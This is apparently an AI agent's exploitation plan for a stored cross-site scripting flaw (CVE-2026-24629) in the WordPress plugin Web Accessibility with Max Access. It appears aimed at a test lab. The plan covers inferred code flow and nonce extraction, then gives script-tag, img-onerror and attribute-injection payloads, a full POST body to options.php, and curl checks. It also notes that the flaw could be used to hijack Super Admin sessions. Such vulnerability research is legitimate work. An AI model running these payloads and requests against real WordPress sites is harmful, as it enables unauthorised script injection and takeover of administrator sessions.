Exploitation Research Plan: CVE-2026-24629

1. Vulnerability Summary

The Web Accessibility with Max Access plugin (<= 2.1.0) is vulnerable to Authenticated (Administrator+) Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize user-supplied configuration settings during storage and subsequently fails to escape those settings when rendering them on the site's frontend and backend.

While administrators typically have the unfiltered_html capability in standard WordPress installs, this vulnerability is critical in Multi-site environments or installations where DISALLOW_UNFILTERED_HTML is defined as true, as it allows an administrator to bypass intended security restrictions and execute arbitrary JavaScript in the context of other users (including Super Admins).

2. Attack Vector Analysis

• Vulnerable Endpoint: Plugin settings page, typically handled via the WordPress Settings API (wp-admin/options.php) or a custom AJAX/POST handler.
• Vulnerable Parameter: Likely configuration keys within the plugin's settings array (e.g., max_access_settings, toolbar_label, or accessibility_statement).
• Authentication Level: Administrator or higher.
• Preconditions:
  1. The plugin "Web Accessibility with Max Access" (slug: accessibility-toolbar) must be active.
  2. unfiltered_html must be disabled for the Administrator role (standard in Multisite or via wp-config.php).

3. Code Flow (Inferred)

1. Entry Point (Admin): The administrator navigates to the settings page (likely wp-admin/admin.php?page=accessibility-toolbar-settings or similar).
2. Input Handling: The plugin registers settings using register_setting(). If a sanitize_callback is missing or uses a weak function like esc_attr (which only escapes during rendering, not storage) or fails to use wp_kses(), the payload is stored in the wp_options table.
3. Storage: update_option() is called with the raw/insufficiently sanitized $_POST data.
4. Sink (Frontend/Backend): The plugin uses get_option() to retrieve the malicious string. It is then echoed into the HTML of the site (often on every page where the accessibility toolbar appears) without using esc_html(), esc_attr(), or wp_kses().
   • Potential Sink Function: echo $options['toolbar_label']; or similar inside a hook like wp_footer.

4. Nonce Acquisition Strategy

To save settings, the plugin will require a WordPress nonce generated by wp_nonce_field().

1. Identify the Settings Page: Determine the exact slug by running:
   wp admin menu list | grep "Accessibility"
2. Navigate and Extract: Use the browser_navigate tool to go to the settings page as an Administrator.
3. Extract Nonce: Use browser_eval to extract the _wpnonce value from the settings form.
   • JavaScript: document.querySelector('input[name="_wpnonce"]').value
   • Action String: If the plugin uses the Settings API, the action is usually the option_group name. If it's a custom handler, check for check_admin_referer('action_name').

5. Exploitation Strategy

The goal is to inject a script that will execute whenever the accessibility toolbar is loaded.

Step 1: Determine the Option Name
Search the plugin code for the setting being saved:
grep -r "register_setting" /var/www/html/wp-content/plugins/accessibility-toolbar/

Step 2: Construct the Payload
We will target a field likely rendered in the toolbar, such as a label or footer text.

• Payload: "><script>alert(origin)</script>

Step 3: Submit the Request
Using the http_request tool, simulate the form submission to wp-admin/options.php.

• URL: https://[TARGET]/wp-admin/options.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  option_page=[OPTION_GROUP]&
  action=update&
  _wpnonce=[EXTRACTED_NONCE]&
  [SETTING_NAME][field_key]=%22%3E%3Cscript%3Ealert(origin)%3C%2Fscript%3E
  

Step 4: Trigger Execution
Visit the site frontend (any post or page) to trigger the XSS.

6. Test Data Setup

1. Install Plugin: Ensure accessibility-toolbar is installed and active.
2. Create Admin User: Ensure an admin user exists.
3. Disable Unfiltered HTML: Add the following to wp-config.php to simulate the vulnerable environment:
   define( 'DISALLOW_UNFILTERED_HTML', true );
4. Ensure Settings Exist: Navigate to the plugin settings once to ensure default options are populated in the database.

7. Expected Results

• The POST request to options.php should return a 302 Redirect back to the settings page with settings-updated=true.
• When viewing the site frontend, the HTML source should contain the unescaped payload: value=""><script>alert(origin)</script>" or simply <div ...><script>alert(origin)</script></div>.
• A browser alert box should appear showing the site's origin.

8. Verification Steps

1. Database Check: Use WP-CLI to verify the payload is stored raw in the database:
   wp option get [SETTING_NAME] --format=json
2. Source Code Check: Verify the frontend output:
   curl -s https://[TARGET]/ | grep "alert(origin)"

9. Alternative Approaches

• Admin-side XSS: If the payload doesn't render on the frontend, check the admin dashboard/settings page itself. Stored XSS in the admin panel can be used to hijack Super Admin sessions in Multisite.
• Shortcode Injection: If the plugin uses a shortcode to display the toolbar, check if shortcode attributes are vulnerable:
  [max_access_toolbar label='<img src=x onerror=alert(1)>']
• Bypass sanitize_text_field: If sanitize_text_field is used, try attribute-based payloads that don't use < > tags, such as:
  " onmouseover="alert(1) (if the output is inside an HTML attribute).